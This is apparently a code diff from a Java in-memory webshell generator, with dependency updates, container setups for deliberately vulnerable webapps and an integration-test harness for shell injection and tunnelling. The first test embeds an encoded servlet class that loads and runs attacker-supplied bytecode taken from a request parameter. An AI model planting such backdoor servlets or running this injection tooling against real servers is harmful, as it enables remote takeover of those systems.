byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
||||
String className = CommonUtil.generateClassName();
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellType(ShellType.SERVLET)
|
||||
.build();
|
||||
CustomConfig customConfig = CustomConfig.builder()
|
||||
.shellClassName(className)
|
||||
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
|
||||
.build();
|
||||
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
|
||||
ClassReader classReader = new ClassReader(bytes1);
|
||||
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
|
||||
classReader.accept(classVisitor, 0);
|
||||
Set<String> referencedClasses = classVisitor.getReferencedClasses();
|
||||
assertTrue(referencedClasses.contains("jakarta/servlet/Servlet"));
|
||||
}
|
||||
}
|
||||
@@ -9,11 +9,9 @@ import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.platform.commons.util.ReflectionUtils;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,29 +1,31 @@
|
||||
[versions]
|
||||
asm = "9.9"
|
||||
asm = "9.9.1"
|
||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||
bcel = "5.2"
|
||||
javax-servlet-api = "3.0.1"
|
||||
jakarta-servlet-api = "5.0.0"
|
||||
javax-websocket-api = "1.1"
|
||||
jakarta-websocket-api = "2.2.0"
|
||||
spring-webmvc = "5.3.24"
|
||||
spring-webflux = "5.3.24"
|
||||
reactor-netty = "1.1.25"
|
||||
jackson = "2.19.0"
|
||||
jetbrains-annotations = "26.0.2"
|
||||
|
||||
byte-buddy = "1.18.2"
|
||||
byte-buddy = "1.18.4"
|
||||
commons-io = "2.21.0"
|
||||
commons-lang3 = "3.20.0"
|
||||
commons-codec = "1.20.0"
|
||||
logback = "1.5.22"
|
||||
logback = "1.5.24"
|
||||
okhttp3 = "5.3.2"
|
||||
fastjson2 = "2.0.60"
|
||||
java-websocket = "1.6.0"
|
||||
|
||||
mockito = "5.20.0"
|
||||
hamcrest = "3.0"
|
||||
junit-jupiter = "5.14.1"
|
||||
junit-jupiter = "5.14.2"
|
||||
junit-pioneer = "2.3.0"
|
||||
junit-platform = "1.14.1"
|
||||
junit-platform = "1.14.2"
|
||||
testcontainers = "2.0.3"
|
||||
|
||||
[libraries]
|
||||
@@ -32,7 +34,10 @@ asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
|
||||
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
|
||||
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
|
||||
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
|
||||
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
|
||||
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
|
||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
|
||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
|
||||
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
|
||||
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
|
||||
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
|
||||
@@ -63,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
|
||||
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
||||
|
||||
[plugins]
|
||||
lombok = { id = "io.freefair.lombok", version = "8.14.2" }
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.0.2"}
|
||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
|
||||
@@ -0,0 +1,13 @@
|
||||
services:
|
||||
tomcat:
|
||||
image: tomcat:10.1-jre11
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- ./nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
depends_on:
|
||||
- tomcat
|
||||
@@ -0,0 +1,13 @@
|
||||
services:
|
||||
tomcat:
|
||||
image: tomcat:8-jre8
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- ./nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
depends_on:
|
||||
- tomcat
|
||||
@@ -0,0 +1,58 @@
|
||||
user nginx;
|
||||
worker_processes auto;
|
||||
|
||||
error_log /var/log/nginx/error.log notice;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
|
||||
'$status $body_bytes_sent "$http_referer" '
|
||||
'"$http_user_agent" "$http_x_forwarded_for"';
|
||||
|
||||
access_log /var/log/nginx/access.log main;
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
keepalive_timeout 65;
|
||||
gzip on;
|
||||
|
||||
upstream tomcat_backend {
|
||||
server tomcat:8080;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name localhost;
|
||||
access_log /var/log/nginx/tomcat_access.log;
|
||||
error_log /var/log/nginx/tomcat_error.log;
|
||||
client_max_body_size 50M;
|
||||
|
||||
location / {
|
||||
proxy_pass http://tomcat_backend;
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
proxy_buffering on;
|
||||
proxy_buffer_size 4k;
|
||||
proxy_buffers 8 4k;
|
||||
proxy_busy_buffers_size 8k;
|
||||
}
|
||||
|
||||
error_page 500 502 503 504 /50x.html;
|
||||
location = /50x.html {
|
||||
root /usr/share/nginx/html;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,2 +0,0 @@
|
||||
#!/bin/bash
|
||||
pgrep -f 'ASMain|GlassFishMain' | tr -d '\n'
|
||||
@@ -0,0 +1,258 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Assumptions;
|
||||
import org.junit.jupiter.api.TestInstance;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.EnumSource;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/9/19
|
||||
*/
|
||||
@Slf4j
|
||||
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
|
||||
public abstract class AbstractContainerTest {
|
||||
private static final String NO_PROBE = "__NO_PROBE__";
|
||||
|
||||
protected static Network newNetwork() {
|
||||
return Network.newNetwork();
|
||||
}
|
||||
|
||||
protected static GenericContainer<?> buildPythonContainer(Network network) {
|
||||
return new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(ContainerTool.neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
}
|
||||
|
||||
protected static GenericContainer<?> buildContainer(ContainerTestConfig config, Network network) {
|
||||
GenericContainer<?> container = createContainer(config);
|
||||
if (config.getWarFile() != null && StringUtils.isNotBlank(config.getWarDeployPath())) {
|
||||
container.withCopyToContainer(config.getWarFile(), config.getWarDeployPath());
|
||||
}
|
||||
if(config.getJarFile() != null && StringUtils.isNotBlank(config.getJarDeployPath())){
|
||||
container.withCopyToContainer(config.getJarFile(), config.getJarDeployPath());
|
||||
}
|
||||
if (config.getJattachFile() != null) {
|
||||
container.withCopyToContainer(config.getJattachFile(), "/jattach");
|
||||
}
|
||||
if (config.getPidScript() != null) {
|
||||
container.withCopyToContainer(config.getPidScript(), "/fetch_pid.sh");
|
||||
}
|
||||
Map<String, String> env = config.getEnv();
|
||||
if (env != null) {
|
||||
env.forEach(container::withEnv);
|
||||
}
|
||||
if (network != null) {
|
||||
container.withNetwork(network);
|
||||
if (StringUtils.isNotBlank(config.getNetworkAlias())) {
|
||||
container.withNetworkAliases(config.getNetworkAlias());
|
||||
}
|
||||
}
|
||||
if (config.getWaitStrategy() != null) {
|
||||
container.waitingFor(config.getWaitStrategy());
|
||||
} else if (StringUtils.isNotBlank(config.getHealthCheckPath())) {
|
||||
container.waitingFor(Wait.forHttp(config.getHealthCheckPath()));
|
||||
}
|
||||
container.withExposedPorts(config.getExposedPort());
|
||||
if (config.isPrivilegedMode()) {
|
||||
container.withPrivilegedMode(true);
|
||||
}
|
||||
if(config.getCommand() != null){
|
||||
container.withCommand(config.getCommand());
|
||||
}
|
||||
return container;
|
||||
}
|
||||
|
||||
protected static GenericContainer<?> buildContainer(ContainerTestConfig config) {
|
||||
return buildContainer(config, null);
|
||||
}
|
||||
|
||||
protected abstract ContainerTestConfig getConfig();
|
||||
|
||||
@AfterAll
|
||||
void tearDown() {
|
||||
GenericContainer<?> container = getContainer();
|
||||
if (container == null) {
|
||||
return;
|
||||
}
|
||||
long logDelayMillis = getConfig().getLogDelayMillis();
|
||||
if (logDelayMillis > 0) {
|
||||
try {
|
||||
Thread.sleep(logDelayMillis);
|
||||
} catch (InterruptedException ex) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
String logs = container.getLogs();
|
||||
if (getConfig().isLogContainerOutput()) {
|
||||
log.info(logs);
|
||||
}
|
||||
if (getConfig().isAssertLogs()) {
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
runShellInject(getConfig(), shellType, shellTool, packer);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@MethodSource("probeShellTypesProvider")
|
||||
void testProbeInject(String shellType) {
|
||||
if (NO_PROBE.equals(shellType)) {
|
||||
Assumptions.assumeTrue(false, "No probe shell types configured.");
|
||||
}
|
||||
runProbeInject(getConfig(), shellType);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
|
||||
void testJspPackers(Packers packer) {
|
||||
ContainerTestConfig config = getConfig();
|
||||
if (config.isEnableJspPackerTest()) {
|
||||
String shellType = config.isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
runShellInject(config, shellType, shellTool, packer);
|
||||
}
|
||||
}
|
||||
|
||||
protected Stream<Arguments> casesProvider() {
|
||||
return generateTestCases(getConfig());
|
||||
}
|
||||
|
||||
protected Stream<String> probeShellTypesProvider() {
|
||||
List<String> probeShellTypes = getConfig().getProbeShellTypes();
|
||||
if (probeShellTypes == null || probeShellTypes.isEmpty()) {
|
||||
return Stream.of(NO_PROBE);
|
||||
}
|
||||
return probeShellTypes.stream();
|
||||
}
|
||||
|
||||
protected static Stream<Arguments> generateTestCases(ContainerTestConfig config) {
|
||||
if (config.getUnSupportedCases() != null || config.getUnSupportedShellTools() != null) {
|
||||
return TestCasesProvider.getTestCases(
|
||||
config.getImageName(),
|
||||
config.getServer(),
|
||||
config.getSupportedShellTypes(),
|
||||
config.getTestPackers(),
|
||||
config.getUnSupportedCases(),
|
||||
config.getUnSupportedShellTools());
|
||||
}
|
||||
return TestCasesProvider.getTestCases(
|
||||
config.getImageName(),
|
||||
config.getServer(),
|
||||
config.getSupportedShellTypes(),
|
||||
config.getTestPackers());
|
||||
}
|
||||
|
||||
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
|
||||
String url = getUrl();
|
||||
if (StringUtils.isNotBlank(config.getServerVersion())) {
|
||||
ShellAssertion.shellInjectIsOk(url, config.getServer(), config.getServerVersion(), shellType, shellTool,
|
||||
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
|
||||
} else {
|
||||
ShellAssertion.shellInjectIsOk(url, config.getServer(), shellType, shellTool,
|
||||
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
|
||||
}
|
||||
}
|
||||
|
||||
protected void runProbeInject(ContainerTestConfig config, String shellType) {
|
||||
String url = getUrl();
|
||||
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
|
||||
? config.getTargetJdkVersion()
|
||||
: config.getProbeTargetJdkVersion();
|
||||
if (StringUtils.isNotBlank(config.getServerVersion())) {
|
||||
ShellAssertion.testProbeInject(url, config.getServer(), config.getServerVersion(), shellType, probeTargetJdkVersion);
|
||||
} else {
|
||||
ShellAssertion.testProbeInject(url, config.getServer(), shellType, probeTargetJdkVersion);
|
||||
}
|
||||
}
|
||||
|
||||
protected String getUrl() {
|
||||
GenericContainer<?> container = getContainer();
|
||||
ContainerTestConfig config = getConfig();
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(config.getExposedPort());
|
||||
String url = "http://" + host + ":" + port;
|
||||
String contextPath = config.getContextPath();
|
||||
if (StringUtils.isNotBlank(contextPath)) {
|
||||
if (!contextPath.startsWith("/")) {
|
||||
contextPath = "/" + contextPath;
|
||||
}
|
||||
url += contextPath;
|
||||
}
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return getContainerField("container", true);
|
||||
}
|
||||
|
||||
protected GenericContainer<?> getPythonContainer() {
|
||||
return getContainerField("python", false);
|
||||
}
|
||||
|
||||
private static GenericContainer<?> createContainer(ContainerTestConfig config) {
|
||||
if (config.getDockerfilePath() != null) {
|
||||
return new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(config.getDockerfilePath()));
|
||||
}
|
||||
if (StringUtils.isBlank(config.getImageName())) {
|
||||
throw new IllegalArgumentException("imageName is required when dockerfilePath is not set.");
|
||||
}
|
||||
return new GenericContainer<>(config.getImageName());
|
||||
}
|
||||
|
||||
private GenericContainer<?> getContainerField(String fieldName, boolean required) {
|
||||
Field field = findField(getClass(), fieldName);
|
||||
if (field == null) {
|
||||
if (required) {
|
||||
throw new IllegalStateException("Missing @" + fieldName + " container on " + getClass().getName());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
field.setAccessible(true);
|
||||
Object value = field.get(Modifier.isStatic(field.getModifiers()) ? null : this);
|
||||
return (GenericContainer<?>) value;
|
||||
} catch (IllegalAccessException ex) {
|
||||
throw new IllegalStateException("Unable to access " + fieldName + " on " + getClass().getName(), ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static Field findField(Class<?> type, String name) {
|
||||
Class<?> current = type;
|
||||
while (current != null) {
|
||||
try {
|
||||
return current.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
current = current.getSuperclass();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.tuple.Triple;
|
||||
import org.testcontainers.containers.wait.strategy.WaitStrategy;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.nio.file.Path;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/9/19
|
||||
*/
|
||||
@Getter
|
||||
@Builder
|
||||
public class ContainerTestConfig {
|
||||
private final String imageName;
|
||||
private final Path dockerfilePath;
|
||||
private final String command;
|
||||
|
||||
private final String server;
|
||||
private final String serverVersion;
|
||||
@Builder.Default
|
||||
private final int targetJdkVersion = Opcodes.V1_8;
|
||||
private final Integer probeTargetJdkVersion;
|
||||
|
||||
@Builder.Default
|
||||
private final int exposedPort = 8080;
|
||||
@Builder.Default
|
||||
private final String contextPath = "/app";
|
||||
@Builder.Default
|
||||
private final String healthCheckPath = "/app";
|
||||
private final WaitStrategy waitStrategy;
|
||||
|
||||
private final MountableFile warFile;
|
||||
private final String warDeployPath;
|
||||
|
||||
private final MountableFile jarFile;
|
||||
private final String jarDeployPath;
|
||||
|
||||
@Builder.Default
|
||||
private final MountableFile jattachFile = ContainerTool.jattachFile;
|
||||
private final MountableFile pidScript;
|
||||
|
||||
private final List<String> supportedShellTypes;
|
||||
private final List<Packers> testPackers;
|
||||
private final List<String> probeShellTypes;
|
||||
private final List<Triple<String, String, Packers>> unSupportedCases;
|
||||
private final List<String> unSupportedShellTools;
|
||||
|
||||
@Builder.Default
|
||||
private final boolean assertLogs = true;
|
||||
@Builder.Default
|
||||
private final boolean logContainerOutput = true;
|
||||
@Builder.Default
|
||||
private final long logDelayMillis = 0L;
|
||||
@Builder.Default
|
||||
private final boolean privilegedMode = false;
|
||||
@Builder.Default
|
||||
private final String networkAlias = "app";
|
||||
private final Map<String, String> env;
|
||||
@Builder.Default
|
||||
private final boolean jakarta = false;
|
||||
@Builder.Default
|
||||
private final boolean enableJspPackerTest = true;
|
||||
|
||||
public static ContainerTestConfigBuilder tomcat(String imageName) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Tomcat)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
||||
.pidScript(ContainerTool.tomcatPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder jetty(String imageName) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Jetty)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath("/var/lib/jetty/webapps/app.war")
|
||||
.pidScript(ContainerTool.jettyPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder resin(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Resin)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.resinPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder jboss(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.JBoss)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.jbossPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder undertow(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Undertow)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.jbossPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder glassFish(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.GlassFish)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.glassfishPid);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder webLogic(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.WebLogic)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.weblogicPid)
|
||||
.exposedPort(7001);
|
||||
}
|
||||
|
||||
public static ContainerTestConfigBuilder webSphere(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.WebSphere)
|
||||
.warFile(ContainerTool.warFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.pidScript(ContainerTool.webspherePid)
|
||||
.exposedPort(9080)
|
||||
.privilegedMode(true);
|
||||
}
|
||||
}
|
||||
@@ -18,22 +18,23 @@ public class ContainerTool {
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
